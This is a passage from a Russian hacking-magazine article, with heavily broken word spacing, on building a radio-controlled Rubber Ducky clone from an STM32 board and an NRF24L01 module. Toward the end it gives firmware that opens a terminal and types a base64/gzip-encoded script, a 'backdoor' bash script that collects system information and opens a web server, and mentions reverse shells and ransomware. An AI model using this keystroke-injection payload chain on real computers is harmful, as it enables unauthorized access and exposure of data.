send_word("echo hello world!\n")

И вот мы уже можем вза имо дейс  тво вать с кон солью, ими тируя польз  овател  я
за  компь юте ром.  Глав ное  здесь  —  прав  ильн  о  подоб рать  задерж  ку,  инач  е
фокус не удаст  ся.

Эмулируем мышь
С мышью будет, с одной стор  оны, про ще — там отчет короче, а с дру гой сто‐ 
роны,  сложн  ее.  Дело  в  том,  что  X  и  Y  —  это  отно сительн  ые  коор динаты,
по  сути  еди нич ный  шаг  перемещ  ения  (при чем  макс  ималь ная  длин  а  в  стан‐ 
дарт  ном  слу чае  127  по  каж дой  оси).  Если  посн  иффать  тра фик  с  обыч ной
мыши, то можн  о увид  еть, что при переме щении она выдае  т чис ла в X и Y, про‐ 
порц  иональн  ые ско рост  и движ  ения, а в слу чае прос тоя шлет нули. Вот как мы
пос тупим.

Во‐перв  ых, напишем фун кцию для переме щения в точк  у с отно ситель ными
коорд  ината ми, при этом трае  кто рия нам не принц  ипиа  льн  а, а скор  ость пусть
будет пос тоянн  ой.

void mouse_move2(int dx, int dy){
   uint8_t temp[] = {2, 0, 0, 0};
   int8_t stepx = 0, stepy = 0;

   if (dx) if (dx > 0) stepx = 1; else stepx =‐ 1;
   if (dy) if (dy > 0) stepy = 1; else stepy =‐ 1;
   while (dx || dy) {
       if (dx) {
           temp[2] = stepx;  
           dx ‐= stepx;
       } else temp[2] = 0;
       if (dy) {
           temp[3] = stepy;  
           dy ‐= stepy;
       } else temp[3] = 0;
       usbd_ep_write_packet(usbd_dev, 0x81, temp, 4);
       delay_us(100);
   }
   temp[2] = 0;
   temp[3] = 0;
   usbd_ep_write_packet(usbd_dev, 0x81, temp, 4);
}

Та ким обра зом, курс  ор будет дви гатьс  я по диаго нали, а затем по вер тикали
или  горизонт  али,  пока  не  дос тигнет  задан ной  точ ки,  добавл  ять  сюда  ал‐ 
горитм  Брез  енх  ема  я  посч  итал  избыт  очн  ым.  Если  очень  хочет ся  попасть
в заданн  ую точк  у экран  а, то это можн  о сде лать с помощью небольш  ого хака:
снач  ала  перехо дим  в  условный  ноль  (левый  вер хний  угол),  задавая  переме‐ 
щение заведо мо больш  е раз решения экран  а, а уже отту да двиг  аем ся к нуж‐ 
ной точ ке.

При желании к этой пробл  еме мож но подойт  и и с друг  ой сто роны, реали‐ 
зовав вмест  е с мышью тачск  рин, который выда ет абсо лют ные коорд  инаты.

Подв  едем  про межут  оч ный  итог:  мы  научил  ись  вво дить  текст,  жать  кла‐ 
виши‐модифи като ры и двиг  ать курс  ор, но все‐таки чего‐то не хва тает.

ДОБАВЛЯЕМ РАДИОУПРАВЛЕНИЕ
Во  мно гих  реализ  ация  х  BadUSB  есть  один  очев  ид ный  минус,  а  именн  о:  они
начина ют работать авто матич  ес ки пос ле вклю чения или через заданн  ый про‐ 
межу ток  врем  ени.  Иног да  это  удобн  о,  иногд  а  не  очень.  Куда  эффектив нее
конт  ро лиро вать  работу  устрой ства  изда лека,  тогд  а  можн  о  выж дать  под‐ 
ходящий момент. Такие конс трук ции тоже извес тны, и некотор  ое врем  я назад
в журн  але даже была статья об ут ке с Wi‐Fi.

Но  использ  овать  в  сво ем  устройс  тве  ESP12E  мне  не  хотелось  по  мног  им
при чинам.  В  пер вую  оче редь  из‐за  разм  ера,  который  не  уклад  ывал ся
в  габарит  ы  обыч ной  флешк  и.  А  вот  NRF24L01  на  роль  такого  радио  мо дуля
подошел  прек расно:  дос таточн  ая  скор  ость  передач  и,  скром ное  энер гопот‐ 
ребле ние и, глав ное, мини атюрн  ый раз мер.

Изн  ачальн  о я рас счи тывал, что за пару часов смог  у без прик лючений пор‐ 
тировать  нуж ную  биб лиоте ку  для  работы  с  NRF24.  Одна ко  все  ока залось
не  так  прос то.  Выясн  илось,  что  модуль  дост  аточ но  кап ризный,  и  на  одном
форуме со ответс тву ющая тема занима ет более 120 стра ниц.

Есл  и корот ко, корень проб лемы крое  тся в том, что на прос торах китайс  ких
онлайн  овых пло щадок есть при мер но с десяток кло нов чипа NRF24L01, при‐ 
чем все они немн  ого разн  ые (и это если сра зу исклю чить откро венн  ый брак).
У меня, нап ример, завел ся толь ко вари ант с перемен ной длин  ой пакета, и то
не  с  пер вого  раза.  В  этом  деле  мне  помог  расш  ирен ный  ману ал  на  модуль
и его ан глий ская вер сия.

Собст  венн  о,  бороть ся  с  боляч ками  некачес твенн  ых  кло нов  лучш  е  всег  о
пол ной ини циали заци ей, когд  а явно проп  исыв  ают ся знач  ения во всех регис‐ 
трах,  что  поз воля ет  исклю чить  влия  ние  некор рек тных  устан  овок  по  умол‐ 
чанию. Такж  е есть интер  есн  ая деталь, о которой упо мина ют далеко не в каж‐ 
дом руководс тве, а если и упом  ина ют, то обыч но вскольз  ь. Это коман да ACTI‐
VATE(0x50) с парамет ром 0х73 сле дом, ее опи сание есть лишь во вто рой вер‐ 
сии даташит  а NRF24l01. Без нее запись в регис тры FEATURE и DYNPD не про‐ 
исхо дит и, соот ветст  вен но, ничего не заводитс  я. Чтоб  ы до это го докопать ся,
пришл  ось перело патить изрядное количест  во ману алов и пос лушать шину SPI
ана лизат  ором (кста ти, в прог рамме Sigrock есть удоб ный декодер прот  око ла
NRF24L01).

В ито ге иниц  иализ  ация получил  ась такой.

void nrf_toggle_features(void) {
   NRF_CSN_LO();
   /* Без этой команды не устанавливается произвольная
    * длина пакета, инструкция не всегда срабатывает с первого раза
    */  
   NRF_SPI_TRANSFER(ACTIVATE); // Активирует регистр FEATURE
   NRF_SPI_TRANSFER(0x73);     
   NRF_WSPI();
   NRF_CSN_HI();

}

void nrf_init(void) {
   uint8_t self_addr[] = {0xE7, 0xE7, 0xE7, 0xE7, 0xE7}; // 

Собственный адрес
   uint8_t remote_addr[] = {0xC2, 0xC2, 0xC2, 0xC2, 0xC2}; // Адрес 

удаленной стороны
   NRF_CE_HI();
   delay_us(500);
   // FEATURE следует активировать с самого начала
   nrf_wreg(FEATURE, 0x04);
   while(nrf_rreg(FEATURE)!=0x4) {
       nrf_toggle_features();
       // delay_us(500);
       nrf_wreg(FEATURE, 0x04); // Произвольная длина данных 
       // delay_us(500);
   }
   nrf_wreg(CONFIG, 0x0f);
   // delay_us(500);
   nrf_wreg(EN_AA, 0x02); // Enable Pipe1
   nrf_wreg(EN_RXADDR, 0x03); // Enable Pipe1
   nrf_wreg(SETUP_AW, 0x03); // Setup address width = 5 bytes
   nrf_wreg(SETUP_RETR, 0x5f); // 250us, 2 retrans
   nrf_wreg(RF_CH, 0); // Частота 2400 MHz
   nrf_write(RX_ADDR_P0,remote_addr,5);
   nrf_write(TX_ADDR,remote_addr,5);
   nrf_write(RX_ADDR_P0,remote_addr,5);
   nrf_write(RX_ADDR_P1,self_addr,5);
   nrf_wreg(RF_SETUP, 0x06); // TX_PWR:0dBm, Datarate:1Mbps
   nrf_wreg(RX_PW_P0, 32);
   nrf_wreg(RX_PW_P1, 32); // 32
   nrf_wreg(DYNPD, 0x03); // (1 << DPL_P0) | (1 << DPL_P1));

   NRF_CE_HI();
}

Пос ле успешной иниц  иали зации все работае  т как часы: и отправк  а, и прие  м
данн  ых  трив  иальн  ы.  Мы  опуск  аем  линию  CE  интерфей са  SPI,  перевод  им
модуль  в  режим  переда чи,  обну ляя  млад ший  бит  в  CONFIG,  и  записыв  аем
переда ваемую стро ку вслед за команд  ой WR_TX_PLOAD. Посл  е чего остае  тся
неск  оль ко  раз  под нять  линию  CE  на  25  мкс,  до  тех  пор  пока  буфер
для передач  и не опуст  еет.

uint8_t nrf_send(uint8_t *data,uint8_t len) {
   uint8_t fifo;
   NRF_CE_LO();
   nrf_flushtx();
   nrf_wreg(CONFIG,0x0e); // Режим передачи
   delay_us(25);
   nrf_write_bufer(WR_TX_PLOAD,data,len);
   NRF_CE_HI();
   delay_us(50);
   NRF_CE_LO();
   while(!(nrf_rreg(FIFO_STATUS) & TX_EMPTY)) {
       NRF_CE_HI();
       delay_us(25);
       NRF_CE_LO();
   }

}

Прие  м  про исхо дит  след  ующим  образ  ом:  мы  перевод  им  модуль  в  режим
передач  и,  подн  има ем  линию  CE  и  ждем  низк  ий  уро вень  на  выводе  IRQ
(EXTI0).  Посл  е  чего  про веряе  м,  есть  ли  при нятый  пакет,  в  ста тус ном  регис‐ 
тре,  выяс няем  длин  у  пакета  и  счи тывае  м  данн  ые  с  помощью  коман ды
RD_PX_PLOAD. В кон це остае  тся тольк  о не забыть сбро сить прер  ыва ние.

#define  nrf_rrx_payload_width() nrf_rreg(R_RX_PL_WID)
uint8_t nrf_status() {

   uint8_t data = 0;
   NRF_CSN_LO();
   data = NRF_SPI_TRANSFER(NOP);
   NRF_WSPI();
   NRF_CSN_HI();
   return data;
}

void exti0_isr(void) {
   exti_reset_request(EXTI0);
   gpio_toggle(GPIOA, GPIO12);
   uint8_t status, temp, len;
   // uint8_t data[32] = {0};
   status = nrf_status();
   ...
   if (status & RX_DR) {
       len = nrf_rrx_payload_width();
       nrf_read(RD_RX_PLOAD, data, len);    
       // printf("DATA RECIV %d: %s\r\n",len,data);
       // run_cmd(data);
       cmd_rcv = 1; // Обработчик не стоит запускать в прерывании
   }
   nrf_wreg(STATUS, status); // Сбрасываем флаг приема (RD_RX)
   ...

}

Раз  умее  тся, при ем можн  о выпол нить и без прер  ыван  ия. Надо прост  о в цик ле
ждать уста новк  у бита RD_RX в стат  усн  ом регис тре. Но с пре рыван  ием, на мой
взгляд,  удобн  ее  и  быст  рее.  Что  же  каса ется  адрес  ов  устрой ств,  то  менять
мест  ами  адрес  а  RX  и  TX  необяз  атель но,  так  как  передат чик  слуш  ает  адрес,
задан ный  в  TX  в  канале  P0.  Это  необ ходимо  для  прие  ма  сигн  ала  ASK.
Как  бонус  получа ется,  что  устрой ства  с  один  ако выми  адресны ми  нас трой‐ 
ками могут общатьс  я меж ду собой в обе сто роны.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

УТИНЫЕ ИСТОРИИ
ДЕЛАЕМ СВОЙ АНАЛОГ RUBBER DUCKY
С БЕСПРОВОДНОЙ СВЯЗЬЮ

Протокол обмена
NRF24L01  не  пре дос тавляю  т  никако го  высоко уров невого  про токол  а
для общен  ия меж ду устрой ствам  и. Мы пост  упим пред  ельн  о прос то: команд  ы
будем  отсы лать  стро кой  текс  та,  в  котором  при емник  попыта ется  найт  и  инс‐ 
трукц  ии  с  помощью  фун кции  strstr().  Если  подх  одящие  лекс  емы  не  обна‐ 
ружил  ись,  то  сра зу  же  передае  м  прин  ятую  строк  у  на  эму лятор  клав  иатур  ы.
Посл  еднее  —  задел  на  повышен  ие  фун кци ональн  ос ти  в  будущем,  так
как пульт спо собен прин  имать коман ды по UART, что рас ширя ет воз можнос ти
при менен  ия девайс  а.

Ниж  е предс  тав лены соот ветс тву ющие фун кции прие  ма и отправк  и команд.

void run_cmd() {
   if (strstr(data, "WSR")) run_script_gzip(info_payload);
   else if (strstr(data, "TEST")) send_word("Hello world!\n");
   else if(strstr(data, "PK2 ")) pk2_decode_pres_key(data);
   else if (strstr(data, "MSHIFT")) mouse_move_rand();
   ....
   else if (strstr(data, "BASE641")) cat_ascii_art_gzip(

girl_1_base64);
   else if (strstr(data, "BASE642")) cat_ascii_art_gzip(girl_base64)

;
   else send_word(data);

}

Шест  над цатерич ные коды здесь — это коды кла виш, счи танн  ые по пре рыва‐ 
нию с кон трол лера клав  иатур  ы пульт  а. В качес тве конт  рол лера исполь зована
мик росхем  а PCF8574 (расш  иритель пор тов вво да‐вывода по I2C).

void key_proc(uint8_t *key) {
   /* keyboard layout
    * 0xFE  0x7F  0xFE  0xF7  0xEF
    * 0xFD  0xBF  0xFB  0xBF
    * 0xFB  0xDF  0xFD  0x7F  0xDF
    * 0xF7  0xEF
    */
   if (*key == 0xFF) return;
   // if (key == 0xFF) sleep();
   printf("proc %d\r\n",*key);
   switch(*key) {
       case 0xFE:
           nrf_send("BIRD", 4);
           break;
       case 0xF7:
           nrf_send("PK2 82 0", 8); // key_up
           break;
       case 0x7F:
           nrf_send("PK2 81 0", 8); // key_down
           break;
       case 0xFD:
           nrf_send("WSR", 3);
           break;
       case 0xBF:
           nrf_send("PK2 44 0", 8); // spase
           break;
       case 0xFB:
           nrf_send("PK2 42 0", 8); // backspase
           break;
       case 0xDF:
           nrf_send("MSHIFT", 6);
           break;
       case 0xEF:
           nrf_send("GIRL", 4);
           break;
   }
   *key = 0xFF;

}

РЕАЛИЗАЦИЯ В ЖЕЛЕЗЕ
Вот так выг лядит схем  а устрой ства. Сле ва изобр  ажен пульт, спра ва эмул  ятор.

Снач  ала все было выпол нено на макет ках. Во врем  я пред варительн  ой сбор ки
надо  обра тить  вни мание  на  неск  ольк  о  момент  ов.  Прежд  е  все го,  на  модуль
NRF24  обяз  атель но  сле дует  напая  ть  кон денса тор  по  питанию.  Учит  ывая,  что
он у нас, ско рее всег  о, висит на про водах, 100 мкФ будет вполн  е дос таточн  о.
Во‐пер вых,  это  позв  олит  исклю чить  пробл  ему  питания,  если  что‐то  пойд  ет
не  так.  Во‐вто рых,  подавая  питание  сра зу  с  двух  источник  ов  (с  двух  стор  он
встро енно го  ста били зато ра),  можн  о  убить  схем  у  питания  в  Blue  Pill.  Вро де
мелочь,  а  неп рият но.  Поэто му,  когд  а  использ  ует ся  питание  от  USB,  всегд  а
отклю чай допол нительн  ый источник.

WARNING

Вставл  ять  самодель ное  устройс  тво  в  USB‐порт
компью  тер  а может быть чрев  ато крупн  ым разоча‐ 
рова нием  и  выходом  кон тролл  ера  USB  из  строя.
Поэтом  у, если поп робовать очень хочет ся, а уве‐ 
рен ности  в  прям  оте  свои  х  рук  нет,  можн  о  вос‐ 
поль зовать ся  внеш ним  USB‐хабом  (впро чем,
и это не дает стопр  оцен тных гарант  ий).

В этот раз в качес тве кон трол лера клав  иатур  ы пульт  а я не стал исполь зовать
сдви говый  регистр,  как  в  тел  ефо не  или  MP3‐пле ере.  Рас ширитель  пор тов
вво да‐вывода PCF8574 для такой задачи подх  одит гораз до луч ше, чем сдви‐ 
говый  регистр.  Главн  ое  пре иму щест  во  —  наличие  сиг нала  пре рыван  ия,  что
силь но упро щает работу с клав  иатур  ой со стор  оны мик роконт  ролл  ера. Кром  е
того,  I2C  —  это  две  линии,  а  интерфейс  регис тра  сос тавляе  т  минимум  три.
Да и сто ит мик росхе ма не силь но дороже — все го 15 рубл  ей в розн  ице.

А вот и готовый макет. Не могу ска зать, что все заработ  ало сраз  у: приш‐ 
лось поковы рятьс  я, побить в бубен и покурить мануа  лы. Но в итог  е все проб‐ 
лемы уда лось решить.

Как ты понимае  шь, в таком виде это все жут ко непр  актичн  о, поэто му устрой‐ 
ство  надо  оформ  ить  дос той нее.  Тут  мне  на  гла за  попалась  флеш ка,
и родилась впол не ожид  аемая идея упа ковать все в готовый и хорошо узна‐ 
ваемый корп  ус. Разм  ер плат  ы флеш ки 14 на 34 мм, осо бо не разг  уляе  шь ся,
но с при менен  ием двух стор  он него монт  ажа втисн  уть ся уда лось лег ко.

Тут я вперв  ые изго тав ливал двухс  то ронн  юю плат  у, и в целом это ока залось
не  так  слож но,  как  я  предс  тавл  ял.  (Так,  навер ное,  можн  о  докатитьс  я  и  до
метал лизации  отверс  тий.)  И  чест  но  говоря,  получил  ось  даже  луч ше,  чем  я
ожид  ал. Для срав нения сним  ок рядом с ориг  инальн  ой флешк  ой.

Те перь мож но помест  ить в кор пус — пла та встал  а как родн  ая.

Правд  а,  приш лось  свер ху  напая  ть  пров  од  для  под клю чения  све тодио  да,  я
совс  ем  забыл  про  него,  ког да  разв  одил  пла ту.  Ну  да  плат  без  оши бок
не быва ет. Оста лось прикр  епить крышк  у на мест  о.

Что каса ется пульт  а, то при перехо де от макета к финаль ной вер сии я решил
оптим  изи ровать  питание.  Дело  в  том,  что  для  устойч  ивой  работы  переда‐ 
ющей част  и необх  одимо 3,3 В. Конечн  о, напр  яжение можн  о опуст  ить до 3 В,
и  тогд  а  схе му  допус тимо  запитать  и  от  двух  батаре ек  АА.  Но  так  не  удаст  ся
выжать  из  батарее  к  весь  заряд,  ведь  их  конечн  ое  нап ряжение  сост  авляе  т
что‐то око ло 1 В (или прим  ерн  о 2 В для двух посл  едова тель но подк  лю ченн  ых
источник  ов). А это явно недост  аточ но.

Есл  и взять акку мулят  оры Ni‐MH, то это будет уже 2,4 В в заряженн  ом сос‐ 
тоянии, что тоже малова то. Решени ем проб лемы ока залось при мене ние step‐
up‐прео  бра зоват  еля  на  ME2108A.  Обвес  а  тре бует ся  минимум,  а  эффектив‐ 
ность микр  осхем  ы дост  ига ет 85%. Это поз воляе  т питать схе му от двух и даже
одно го акку муля тора.

Я  собр  ал  пульт,  попр  авил  нес коль ко  ошиб  ок  (забыл  под тягива ющие  резис‐ 
торы  для  PCF8574),  и  все  зарабо тало.  Потом  померил  ток  пот реблен  ия
от  одно го  аккум  улят  ора  —  целых  250  мА!  Подоб ное  ни  в  какие  ворота
не  лезет,  так  что  исправ  им  это  и  оза ботим ся  воп росом  энер госбер  ежен  ия
в нашем устройс  тве.

Энергосбережение
Держ  ать микр  оконт  рол лер вклю ченн  ым все врем  я нет никакой необ ходимос‐ 
ти, он нужен лишь в момент нажатия кнопк  и. Помн  ишь, выше я писал про сиг‐ 
нал  прер  ыван  ия  от  кон трол лера  кла виатур  ы?  Тут  он  очень  кстат  и.  Поэто му
будем  ждать  нажатия  кнопк  и,  будить  нашу  схем  у,  посылать  данн  ые  в  эфир
и  сно ва  засыпать.  Кро ме  того,  перевод  NRF24L01  в  режим  stand  by  вмес то
пос тоянн  ого  прие  ма  поз волит  допол нитель но  сокр  атить  пот реблен  ие.
Финаль ный штрих — погасить свет  одио  д, он тоже пот ребля ет неск  оль ко мил‐ 
лиам пер.

Глав ное здесь — не забыть, что при проб  ужд  ении мик роконт  рол лера блок
RCC  такт  иру ется  от  внут ренне го  генерат  ора  8  МГц  нап рямую.  Это  сбив  ает
все тай минг  и интерфейс  ов, поэто му нуж но пред  усм  отреть фун кцию перенас‐ 
трой ки так тирован  ия.

void sleep() {
   NRF_CE_LO(); // Выключаем приемник в NRF24
   printf("Going to sleep\n\r");
   // Настраиваем режим сна STOP, выход по прерыванию EXIT
   SCB_SCR |= SCB_SCR_SLEEPDEEP;
   PWR_CR &= ~PWR_CR_PDDS;
   PWR_CR |= PWR_CR_LPDS;
   PWR_CR |= PWR_CR_CWUF;
   gpio_clear(GPIOB,GPIO12); // Экономим еще 0,3 мА
   sleep_mode = 1; // Запоминаем, что заснули
   __asm__("WFI");

}

void wake() {
   // После выхода из сна надо перенастроить тактирование!
   rcc_clock_setup_in_hsi_out_48mhz();
   gpio_set(GPIOB, GPIO12);
   NRF_CE_HI(); // Включаем приемник
   sleep_mode = 0;

}

При менен  ие  этих  нехит рых  трю ков  позв  олило  сни зить  пот реблен  ие  более
чем  в  500  раз!  Финаль ное  зна чение  удал  ось  изме рить  на  уров не  око‐ 
ло 0,5 мА, что можн  о счи тать очень хорошим резуль татом.

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

УТИНЫЕ ИСТОРИИ
ДЕЛАЕМ СВОЙ АНАЛОГ RUBBER DUCKY
С БЕСПРОВОДНОЙ СВЯЗЬЮ

СЦЕНАРИИ ИСПОЛЬЗОВАНИЯ
Те перь перейд  ем к вариа  нтам при мене ния нашего ком плект  а. Самое перв  ое,
но не самое очев  ид ное прим  енен  ие — это пульт управлен  ия. Как поль зовате‐ 
лю  Arch  Linux,  мне  очень  нра вит ся  MPlayer,  управлен  ие  которым  пол ностью
осу щест вля ется горячим  и клав  ишам  и.

INFO

Под робнее  о  том,  чем  хорош  Arch  Linux,  читай
в  статье  «Бог  атый  минима лизм.  10  прич  ин  уста‐ 
новить Arch Linux».

Подр  ужить его с новым устрой ством очень прос то. Отправ ка с пульт  а стро ки
PK2 A B прив  одит к эму ляции нажатия клав  иши с кодом A и модифи като ром
B.  Эти ми  двум  я  зна чения  ми  можн  о  опи сать  любую  клав  ишу  и  практ  ическ  и
любое сочетан  ие клав  иш из числ  а использ  уемых.

Окей, а как нас чет чего‐нибудь повесел  ее?

WARNING

Все  опис  ан ное  ниже  предс  тав лено  исключ  итель‐ 
но  в  ознак  оми тель ных  целях  и  не  являе  тся
руководс твом  к  дейс  твию.  Так же  след  ует  пом‐ 
нить,  что  совер шение  неп равомер ных  дей ствий
вле чет за собой пра вовые посл  едст  вия.

На  самом  деле  даль ше  все  зависит  от  тво его  вооб ражения.  С  таким  устрой‐ 
ством мож но разыгр  ать незадач ливого польз  овате ля, про жимая горячие кла‐ 
виши  в  самый  неподх  одящий  момент  (напр  имер,  ком бинация  Alt  +  F4  в  Win‐
dows разд  раж  ает жер тву особ  енн  о быс тро).

«Глючная» мышь
Нав  ерн  яка  ты  стал кивал ся  с  неот зывчив  ыми,  плох  о  работа ющи ми  мышами.
Во врем  я работы или игры за компь юте ром это очень неп рият ная штук  а. Что‐ 
бы  имит  иро вать  такую  мышь,  мы  можем  хаотичн  о  двиг  ать  кур сор,  написав
нес ложную фун кцию:

void mouse_move_rand(void) {
   int dx, dy;
   dx = (rand() % 255) ‐ 127;
   dy = (rand() % 255) ‐ 127;
   mouse_move2(dx, dy);

}

Ка чест  во  генерат  ора  псевд  ослу чайн  ых  чисел  тут  несущест  вен но.  Однак  о,
что бы все было совс  ем кра сиво, мы можем ини циализ  иров  ать генерат  ор слу‐ 
чайн  ым чис лом из АЦП, об этом была цел  ая статья.

static uint16_t get_random(void) {
   // Получение случайного числа из АЦП
   uint16_t temp;
   uint8_t channel = 16;
   uint16_t adc = 0;
   rcc_periph_clock_enable(RCC_GPIOA);
   rcc_periph_clock_enable(RCC_ADC1);
   rcc_set_adcpre(RCC_CFGR_ADCPRE_PCLK2_DIV2);
   adc_power_off(ADC1);
   /* We configure everything for one single conversion. */
   adc_disable_scan_mode(ADC1);
   adc_set_single_conversion_mode(ADC1);
   adc_disable_external_trigger_regular(ADC1);
   adc_set_right_aligned(ADC1);
   /* We want to read the temperature sensor, so we have to enable 

it. */
   adc_enable_temperature_sensor();
   adc_set_sample_time_on_all_channels(ADC1, ADC_SMPR_SMP_28DOT5CYC)

;
   adc_power_on(ADC1);
   /* Wait for ADC starting up. */
   for (uint32_t i = 0; i < 800000; i++) __asm__("nop");
   //adc_reset_calibration(ADC1);
   //adc_calibrate(ADC1);
   adc_set_regular_sequence(ADC1, 1, &channel);
   for (uint8_t i = 0; i < 16; i++) {
       temp <<= 1;
       adc_start_conversion_direct(ADC1);
       /* Wait for end of conversion. */
       while (!(ADC_SR(ADC1) & ADC_SR_EOC));
       temp|=ADC_DR(ADC1) & 0b1; // Нас интересуют два младших бита
   }
   adc_power_off(ADC1);
   rcc_periph_clock_disable(RCC_ADC1);
   return temp;

}

Ра ботае  т неп лохо, для ини циализ  ации ГПСЧ как раз хват  ит. Давим на кноп ку,
кур сор  уез жает  в  про изволь ном  нап равлен  ии,  и,  если  польз  ователь  в  этот
момент дела ет что‐то ответст  венн  ое мышью, он будет нес кольк  о удивл  ен.

Баловство с текстом
Точн  о так же по нажатию кла виши в тек сто вом докумен те можн  о отрис  овать
какой‐нибудь ASCII‐арт. Напр  имер, вот такую птичк  у (я называю ее «тря согуз‐ 
кой», не спраш  ивай почему).

 

____________    __      ____________
\_____     /   /_ \     \     _____/
 \_____    \____/  \____/    _____/
  \_____                    _____/
     \___________  ___________/
               /____\

 

Что бы  добавить  ее  в  код,  понадоб  ит ся  мно го  кавычек,  перено сов  строк
и экран  иро вания сим волов. Расс  тав лять все это вруч ную утом  итель но, поэто‐ 
му  мож но  вос польз  оватьс  я  скрип том  и  перекод  иров  ать  текс  тов  ую  карт  инку
в  масс  ив.  Сле дующий  скрипт  при нимае  т  два  аргу мент  а:  имя  файл  а  с  кар‐ 
тинкой и имя выходн  ого мас сива.

#!/bin/zsh
if [ ‐z $2 ]; then NAME="ascii"; else NAME=$2; fi;
N_LINE=$(wc ‐l $1|awk '{ print $1 }')
echo "static const uint8_t ${NAME}[]=" >out 
for i in {1..$N_LINE}
do

   #echo $i
   STR=$(sed ‐n 's/\\/\\\\/g;s/"/\"/g;'"${i}p" $1)
   echo $STR
   echo "$STR'\\n'" >> out 
done
echo ';' >> out 

Выполняем команды
Те перь  давай  сде лаем  что‐нибудь  посерь езнее.  Что бы  доб ратьс  я  до  воз‐ 
можнос ти исполнять коман ды в Windows, нужн  о ввест  и Super + R, затем наб‐ 
рать cmd  и  Enter.  Глав ное  —  уга дать  с  задер жка ми,  потому  что  если  ввод  ить
команд  у,  пока  окно  конс  оли  не  откры то,  то  она  уле тит  в  пуст  оту.  Впроч  ем,
най ти подобн  ую информац  ию для Windows в интернет  е не сос тавит тру да.

Что же каса ется Linux, то, как ты понима ешь, тут уже возм  ожны вариа  нты.
Конечн  о,  почт  и  всегд  а  мож но  расс  чи тывать  на  Ctrl  +  F2,  но  тогд  а  при дет ся
навер няка авто ризо ватьс  я в сис теме, а это уже само по себе задача. Поэто‐ 
му прим  ем для прост  оты, что мы уже знае  м хот кей для вызова эму лято ра тер‐ 
минала.  Напр  имер,  Ctrl  +  Alt  +  T.  Тогд  а  мы  можем  набр  ать  какую‐нибудь
одност  рочн  ую коман ду или вов се написать неболь шой скрипт.

void write_script_and_run_it() {
   send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t — open 

console 
   for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop");
   send_word("echo '#!/bin/zsh' >> payload.sh\n"
       "echo Candidum is the best!>> payload.sh\n"
       "echo 'for i in {1..100}'>> payload.sh\n"
       "echo 'do echo TEST payload script $i'>> payload.sh\n"
       "echo 'done'>> payload.sh\n"
       "echo 'rm payload.sh'\n"
       "clear\n"
       "chmod +x payload.sh\n"
       "./payload.sh\n");

}

Од нако  и  такой  под ход  неудоб  ен  и  нерацио  нал  ен,  пос кольк  у  треб  ует  мног  о
лиш них команд.

Бэкдор
Есть  вари ант  гораз до  эффективн  ее  и  изящн  ее  —  связ ка  потоков  ого  сжа тия
и  кодиро вания  в  Base64.  Возьм  ем  неболь шой  скрипт,  который  собирае  т
информац  ию о сист  еме и откры вает бэкд  ор.

#!/bin/bash
echo "*****************SYSTEM INFO*****************" > report.txt 
echo "*****************RELEASE*****************" >> report.txt 
cat /etc/*‐release* >>report.txt 
echo "*****************UNAME*****************" >> report.txt  
uname ‐a >>report.txt 
echo "*****************USER*****************" >> report.txt 
who >>report.txt 
whoami >>report.txt 
echo "*****************IP*****************" >> report.txt 
ip addr show >>report.txt 
#cat report.txt
python ‐m http.server 8080 & 

Сжи маем  его  при  помощи  gzip  на  лету,  перекод  ируя  результ  ат
в  Base64  с  помощью  cat  script.sh|gzip  ‐9|base64.  Посл  е  небольш  ой
обраб  от ки получа ем вот такой мас сив в про шив ке мик роконт  ролл  ера.

static const uint8_t info_payload[] =
   

"H4sIAAAAAAACA42QvQ6CMBCAd57ihMSBBMrIZMJQExJBQ3VwLHBJSYQ2bRV9e3ET‐
f1Juu5/
vu8sF"

   
"K1J3A6m5ER42QoIffgY7syMtIC+3+6+eDxvQqKS2sb3bf4aK7mjG6C96hjf‐
cAkHbkDDSeEFuMJwm"

   "3P5TmRVOO3jXgfcIEV/
mZLRyHjxO6Ew2FXjfLVqQH5z6TgFvWw1GyHHuDF6vesvVwwo5QNSDsFbF"

   "BvUNNaRJmsDaewJip36j5AEAAA==";

Ос талось  тольк  о  выполн  ить  обратную  про цеду ру,  бла го  Base64  и  gzip  у  нас
станд  ар тные  утил  иты.  Набирае  м  echo  BASE64  |base64  ‐d|gzip  ‐d>pay‐
load.sh;chmod +x payload.sh;./payload.sh\n или, если смот реть со сто‐ 
роны про шивк  и:

void run_script_gzip(uint8_t *src) {
   send_shortkey('t',MOD_CTRL|MOD_ALT); // Ctrl + Alt + t — open 

console 
   for (uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop");
   send_word("echo ");
   send_word(src);
   send_word("|base64 ‐d|gzip ‐d>payload.sh;"
       "chmod +x payload.sh;"
       "./payload.sh\n");
   for(uint32_t i = 0; i < 0x2FFFFF; i++) __asm__("nop");
   send_word("\n");
           cat_ascii_art_gzip(bird_base64);

}

А  в  кон це  добав ляем  нашу  пти цу,  куда  же  без  нее.  Таким  обра зом,  кстат  и,
очень удоб но хра нить и выводить в тер минале ASCII‐гра фику, тут и эко номия
мес та, и уско рение набора налицо. Да и соз давать такие мас сивы тоже про‐ 
ще скрипт  ом.

#!/bin/zsh
if [ ‐z $2 ]; then NAME="ascii"; else NAME=$2; fi;
echo "static const uint8_t ${NAME}[]=" |tee "${NAME}.h"
cat $1|gzip ‐9|base64|sed ‐e 's/^/"/g;s/$/"/g'|tee ‐a "${NAME}.h"
echo ';' |tee ‐a "${NAME}.h"

Лис тинг  еще  короче  пред  ыдущ  его,  а  экон  омия  мест  а  в  разы.  Как  тебе  уже
наверн  яка  понят но,  в  качест  ве  наг рузки  скрипт  ы  использ  овать  осо бен но
удоб но.  Прич  ем  это  необя затель но  дол жен  быть  shell.  Python  выг лядит  даже
более  привл  екательн  о.  Вот,  нап ример,  Reverse shell  или  кейс  с  шифр  оваль‐ 
щиком. Здесь опред  еленн  о есть где раз вернутьс  я и над чем поэк спер  имен‐ 
тировать  на  досуге.  Думаю,  теперь  мне  точ но  удал  ось  тебя  заинт  ересо вать
дост  аточн  о силь но, так что дальш  е ты и сам разб  ерешь ся.

WWW

Как  всегд  а,  ис ходник  и  про екта  дос тупны
на GitHub.

БОНУС
Ну  а  для  тех,  кто  не  поленил ся  дочитать  до  самого  кон ца,  по  тра диции
небольш  ой бонус. Уда чи! :)

